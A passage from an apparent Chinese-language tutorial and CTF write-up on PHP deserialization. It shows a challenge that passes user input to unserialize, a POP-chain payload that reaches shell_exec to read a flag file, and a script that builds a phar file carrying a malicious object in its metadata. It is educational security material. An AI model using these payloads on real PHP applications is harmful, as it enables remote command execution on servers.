__toString</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">shell_exec</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">evil</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">isset</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">easy</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    unserialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">_GET</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">easy</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">else</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">    highlight_file</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span></code></pre>\n<p>这道题很明显在第一个类Easy中有个echo语句可以触发第二个类Evil的toString方法，利用echo把对象Evil当做字符串执行，进而触发shell_exec</p>\n<p>payload如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Easy</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Evil</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">evil</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">sort fl@g.php;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __toString</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#998418;--shiki-dark:#B8A965\">shell_exec</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">evil</span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Easy</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Evil</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">=$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#998418;--shiki-dark:#B8A965\">serialize</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">a</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/30.png\" class=\"\"></p>\n<p>这道题我们可以直接修改env属性为public直接传入</p>\n<h2 id=\"phar反序列化\"><a class=\"anchor\" href=\"#phar反序列化\">#</a> phar反序列化</h2>\n<p>利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性，拓展php反序列化漏洞的攻击面</p>\n<p>phar文件结构 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1.a stub</span></span>\n<span class=\"line\"><span>    可以理解为一个标志，格式为xxx&#x3C;?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();来结尾，否则phar扩展将无法识别这个文件为phar文件</span></span>\n<span class=\"line\"><span>2.a manifest describing the contents</span></span>\n<span class=\"line\"><span>\tphar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方</span></span>\n<span class=\"line\"><span>3.the file contents</span></span>\n<span class=\"line\"><span>被压缩文件的内容</span></span>\n<span class=\"line\"><span>4.[optional] a signature for verifying Phar integrity (phar file format only)</span></span>\n<span class=\"line\"><span>\t签名，放在文件末尾</span></span></code></pre>\n<p>phar文件生成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> TestObject</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    @</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unlink</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phar.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Phar</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">phar.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //后缀名必须为phar</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">startBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setStub</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;?php __HALT_COMPILER(); ?></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //设置stub</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">o</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> TestObject</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setMetadata</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">o</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //将自定义的meta-data存入manifest</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">addFromString</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test.txt</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\"> //添加要压缩的文件</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    //签名自动计算</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">stopBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span></span></code></pre>\n<p>这里给一下其他脚本大佬的注释 ：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 1. 定义核心恶意类：funny</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> funny</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    // __destruct()是PHP魔术方法：当对象被销毁（如脚本结束、unset、反序列化后）时自动执行</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __destruct</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        // global $flag：声明使用全局变量$flag（目标服务器中通常存储flag）</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">        global</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        // 输出$flag——这是漏洞利用的最终目标（获取flag）</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">flag</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 2. 清理旧文件：避免同名文件导致创建失败</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// @：抑制unlink的错误（比如文件不存在时的报错）</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">@</span><span style=\"color:#998418;--shiki-dark:#B8A965\">unlink</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">exp1.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 3. 创建phar文件核心流程</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 实例化Phar类，创建exp1.phar文件（后缀必须是.phar，PHP识别phar文件的基础）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Phar</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">exp1.phar</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 开启phar缓冲区：所有操作先写入内存，不直接刷到磁盘（避免频繁IO）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">startBuffering</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 设置phar的Stub（标识头）：必须以&#x3C;?php __HALT_COMPILER(); </span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">结尾，PHP才能识别为phar文件</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 这是phar文件的“身份标识”，无此内容PHP不会解析为phar文件</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setStub</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;?php __HALT_COMPILER(); ?></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 关键：创建funny类的实例（对象）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> funny</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 将funny对象存入phar的元数据（metadata）</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 注意注释：不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest（清单）</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">setMetadata</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">b</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 向phar归档中添加一个空文件（test.txt），内容为\"test\"</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">// 核心要求：phar文件必须包含至少一个文件内容（否则创建失败），这行是满足格式要求的“占位符”</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">phar</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#59873A;--shiki-dark:#80A665\">addFromString</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">test.txt</span><span 